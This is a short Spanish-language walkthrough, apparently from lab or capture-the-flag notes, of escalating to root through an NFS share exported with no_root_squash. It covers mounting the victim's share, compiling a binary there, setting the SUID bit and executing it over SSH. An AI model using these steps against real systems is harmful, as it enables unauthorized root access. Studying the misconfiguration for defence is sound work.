NFS (Network File Sharing)

NFS (Network File Sharing) se mantiene en el archivo /etc/exports Este archivo se crea durante la instalación del servidor NFS y normalmente puede ser leído por los usuarios.

La criticidad para la escalda de privilegios aqui reside en el no_root_squash, como se ve arriba. Por defecto, NFS cambiará el usuario root a nfsnobody y eliminará cualquier archivo con privilegios de root. Si la opción no_root_squash está en un recurso compartido con permisos de escritura podemos crear un ejecutable con el bit SUID activado y ejecutarlo en el sistema de destino.

1º Enumerar recursos NFC compartidos

Con la conexión establecida a la maquina victima, nosotros debemos listar las carpetas compartidas desde nuestra maquina de atacante

Utilizaremos el /home/ubuntu/sharedfolder (tengo permiso de lectura y ejecucion)

2º Montar un recurso NFS

En tu maquina de atacante sudo su Dentro de /tmp hacemos la montura :

mkdir /tmp/backattack

Monta el recurso compartido

sudo mount -t nfs 10.10.200.240:/home/ubuntu/sharedfolder /tmp/backattack

or

sudo mount -o rw,nosuid,nodev 10.10.200.240:/home/ubuntu/sharedfolder /tmp/backattack

3º Crear un binario SUID Crea un archivo C en el recurso montado desde tu máquina atacante

cd /tmp/backattack

sudo nano nfs.c

Compílalo directamente en el recurso compartido

sudo gcc nfs.c -o nfs -w

or

sudo gcc -static -o nfs nfs.c # X Si da errores

Asigna el bit SUID al binario:

chmod +s nfs

Verifica que se haya creado y dado permisos

ls -l nfs

5º Ejecutar el binario en la maquina victima

Te conectas a la maquina ssh katcus@10.10.200.240

Vamos al /home/ubuntu/sharedfolder y ejecutamos el binario SUID

Last updated